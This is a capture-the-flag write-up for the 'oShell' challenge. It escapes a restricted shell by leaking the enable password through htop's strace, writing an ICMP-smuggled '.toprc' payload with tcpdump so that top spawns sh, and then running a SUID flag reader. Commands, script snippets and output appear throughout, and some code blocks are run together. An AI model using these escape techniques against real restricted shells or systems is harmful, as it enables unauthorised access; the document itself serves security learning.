Rating:

# oShell
_Category: ?_

## Description
> Simple shell escaping!
> (Same team-token keeps in the same environment)
>
> ssh oshell@54.150.148.61 (pwd=oshell)
>
> Author: Orange

## Short Solution
Connecting to the server gives users a restricted shell. This shell can execute htop and enable. By using htop to run strace on the enable process, it is possible to see the secret enable password, granting access to more commands.

The elevated command shell enables the extra command tcpdump. This can be used to write semi-arbitrary data (encapsulated packet payloads) contents to an arbitrary file, in this case, the configuration file for the top utility:
sh
tcpdump -w /home/oShell/.toprc -s 500 icmp


Running ping from the environment allows us to solicit ICMP echo responses, in which we control the payload section of the packet. We can embed valid top configuration syntax in these responses (note that top will only parse this is the components are separated by literal tab characters), and tcpdump will write them to a file for us:
sh
pipe x sh 1>&0


Once this has been written to .toprc, we can run top and press <kbd>shift</kbd> + <kbd>y</kbd>, <kbd>x</kbd>, and <kbd>return</kbd> to cause top to launch sh for us.

Lastly, we can run /readflag, a suid root binary which outputs the flag.

## Long Solution
### Initial Recon
When connecting to the server we need to specify a "team-token", which grants us access to a segregated container. This will come in handy later.
sh
$ssh oshell@54.150.148.61 oshell@54.150.148.61's password: Team token: [redacted] [*] Initializing instance... Welcome to __ _ _ _ ___ / _\| |__ ___ | || | / _ \ \ \ | '_ \ / _ \| || | | (_) |_\ \| | | || __/| || | \___/ \__/|_| |_| \___||_||_| shell~$


This command shell looks like it's fairly restricted, and doesn't seem to be based on any existing shell. We are able to get a list of commands we can run using help:
sh
oshell~$help Available commands: help exit id ping ping6 traceroute traceroute6 arp netstat top htop enable  We can also see that most of these binaries are just applets compiled in to BusyBox: sh oshell~$ ping --help
BusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.
[...]


At this stage, we can get some hints from the wonderfully useful [GTFOBins](https://gtfobins.github.io/) project. This helps us figure out which of the commands available to us can be used for breaking out of the restricted shell.

The container stops running after 300 seconds at which the shell disconnects and the container is rebuilt.

### Elevated Shell
With the binaries we have access to there is no direct way to break out of the restricted shell. Instead, we can focus on elevating our shell using the enable command. This command asks for a password:
sh
oshell~$enable Password: Wrong password :(  We can use the strace functionality of htop to analyze the process and determine what it is doing. When we run the enable command, we don't see an entry in htop: sh PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command 11 oShell 20 0 3512 1120 868 R 0.0 0.0 0:00.04 htop 1 root 20 0 1492 4 0 S 0.0 0.0 0:00.26 sleep 300 6 oShell 20 0 34516 5492 2040 S 0.0 0.0 0:00.35 python /oShell.py  This tells us that the enable command is part of the oShell.py script, rather than an external binary. Now we know what process it is, we can run strace using htop in one window, while running enable in the other. To have htop run strace for us we just need to press <kbd>s</kbd> while the Python process is selected:  {st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0 ioctl(3, TIOCGWINSZ, {ws_row=0, ws_col=0, ws_xpixel=0, ws_ypixel=0}) = 0 ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) = writev(3, [{iov_base="Password: ", iov_len=10}, {iov_base=NULL, iov_len=0}], 2) readv(3, [{iov_base="", iov_len=0}, {iov_base="test\n", iov_len=1024}], 2) = 5 ioctl(3, TCGETS, {B38400 opost isig icanon -echo ...}) = 0 ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) = writev(3, [{iov_base="", iov_len=0}, {iov_base="\n", iov_len=1}], 2) = 1 close(3) = 0 open("/enable.secret", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0 fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0 lseek(3, 0, SEEK_CUR) = 0 lseek(3, 0, SEEK_CUR) = 0 readv(3, [{iov_base="this-is-secret-7ce3ff0e2c8fd2a7", iov_len=31}, {iov_base="" readv(3, [{iov_base="", iov_len=0}, {iov_base="", iov_len=1024}], 2) = 0 close(3) = 0 select(0, NULL, NULL, NULL, {tv_sec=1, tv_usec=0}) = 0 (Timeout) writev(1, [{iov_base="Wrong password :(", iov_len=17}, {iov_base="\n", iov_len=1  The relevant lines from this show us that it opens /enable.secret, then reads the contents of the file. In this case, the enable password is revealed to be this-is-secret-7ce3ff0e2c8fd2a7. This will change every time the container rebuilds, but is relatively quick to find even manually each time. Now we can execute enable and get an "elevated" shell: sh oshell~$ enable
(enabled) oshell~#


### Break Out Part 1 - Journey to File Write
Now we have our elevated shell, we can see we get some extra commands available to us:
sh
(enabled) oshell~# help
Available commands:
help
exit
id
ping
ping6
traceroute
traceroute6
arp
netstat
top
htop
ifconfig
tcpdump
enable


The most interesting of these is tcpdump. This allows us to write a pcap file to an arbitrary location on disk using the -w flag consisting of packets received from the network. Unfortunately, the contents of this file cannot be directly controlled as it encapsulates each packet with a pcap header in the file. Fortunately, many Linux utilities are lenient in their parsing of configuration files and so it is likely we can inject arbitrary configuration lines that top will parse.

One of the simpliest ways to cause a packet to be recieved by tcpdump is the ping command. On most ping implementations a pattern (-p) argument can be used to supply the ping packet payload content. The version of ping available in the environment is from busybox, which only allows a single repeating byte to be specified as a payload:
sh
$ping --help BusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.  We got stuck here for a while thinking about ways to get a packet onto the system. Our thoughts included: * Abusing the SSH connection used to access the environment to set up a tunnel * Traceroute ICMP responses with * Returning DNS PTR or A records with encoded payloads Eventually we realised that while the system itself doesn't allow us to send it incoming packets due to it being a container without a dedicated IP, it does receive responses to ping Echo requests sent out to the Internet. This gives us a chance to specify a custom payload in an Echo response, which will be dutifully stored by tcpdump. To help us test this we used a script one of our team members had prepared earlier, called [TLS Hello Modify](https://github.com/fincham/nfqueue-break-tls-handshake/blob/master/tls_hello_modify.py). We modified this script to capture ICMP packets leaving a machine and overwrite the payload field of those packets: py payload = "payload goes here" parsed[ICMP].load = parsed[ICMP].load[0:len(parsed[ICMP].load) - len(payload)] + payload  Initially we tried just replacing the entire payload, but this resulted in the packets not being recieved by the server. As it wasn't clear at what point on the network path these modified packets were being discarded, we didn't investigate further, instead trying a few different ways of replacing or modifying the ICMP payload until we managed to get a packet that got through all the firewalls between our server and the CTF server. In English, the end of the original ICMP content is replaced with our payload. Putting this all together, we are able to run our tcpdump command and write our payload to a path we specify. Now we just need a payload and path for it. ### Break Out Part 2 - Shell City Now we can concerntrate on getting a shell. One option is to use the post-rotate command feature in tcpdump, but we investigated this and found the use of top would be simpler due to it executing our process already attached to our TTY. The top command will read configuration from ~/.toprc. This allows us to specify arbitrary commands for top to execute through the "Inspect" function. This is discussed in the [top GTFOBins page](https://gtfobins.github.io/gtfobins/top/). To begin, we need the full, expanded path to the .toprc file, which we can get by launching top and pressing <kbd>w</kbd>:  Wrote configuration to '/home/oShell//.toprc'  The payload we decided on was:  pipe x sh 1>&0  This will simply execute a shell after we choose the x inspection option in top. It's important to note: * The tab characters before and after x are required and cannot be spaces. * The newlines before and after the payload are also required so that it doesn't have extra bytes around it. ### Break Out Part 3 - All together now Putting this together, we can run our ICMP modification script on a server we control. We can run tcpdump -w /home/oShell/.toprc -s 500 icmp to capture ICMP packets and write them to our .toprc file. Lastly, we can run ping [our-server-ip] -c 1 to send a packet and wait for the response. This writes a strange, but still valid, file that top can interpret as a configuration. Now we open top, press <kbd>shift</kbd> + <kbd>y</kbd> to inspect a process, <kbd>return</kbd> to select the default PID, then select <kbd>x</kbd> (the name of the command we used in our payload), and press <kbd>return</kbd> a final time. We now have an interactive shell! The formatting isn't great, but we can type ls to see the directory output in /: sh /$ ls -lah
total 908
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 .
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 ..
-rwxr-xr-x 1 root root 0 Nov 28 04:21 .dockerenv
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 bin
drwxr-xr-x 5 root root 340 Nov 28 04:21 dev
-r--r--r-- 1 1002 1002 31 Nov 28 04:21 enable.secret
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 etc
-r-------- 1 root root 35 Nov 26 10:44 flag
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 home
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 lib
drwxr-xr-x 5 root root 4.0K Mar 6 2019 media
drwxr-xr-x 2 root root 4.0K Mar 6 2019 mnt
-rwxrwxr-- 1 root root 3.8K Nov 25 10:23 oShell.py
dr-xr-xr-x 1004 root root 0 Nov 28 04:21 proc
-rwsr-sr-x 1 root root 825.4K Nov 19 10:54 readflag
drwx------ 2 root root 4.0K Mar 6 2019 root
drwxr-xr-x 2 root root 4.0K Mar 6 2019 run
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 sbin
drwxr-xr-x 3 root root 4.0K Nov 27 19:58 share
drwxr-xr-x 2 root root 4.0K Mar 6 2019 srv
dr-xr-xr-x 13 root root 0 Nov 28 04:21 sys
drwxrwxrwt 2 root root 4.0K Mar 6 2019 tmp
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 usr
drwxr-xr-x 1 root root 4.0K Mar 6 2019 var


From here, we can see a SUID /readflag which we can execute. This gives us the flag!
sh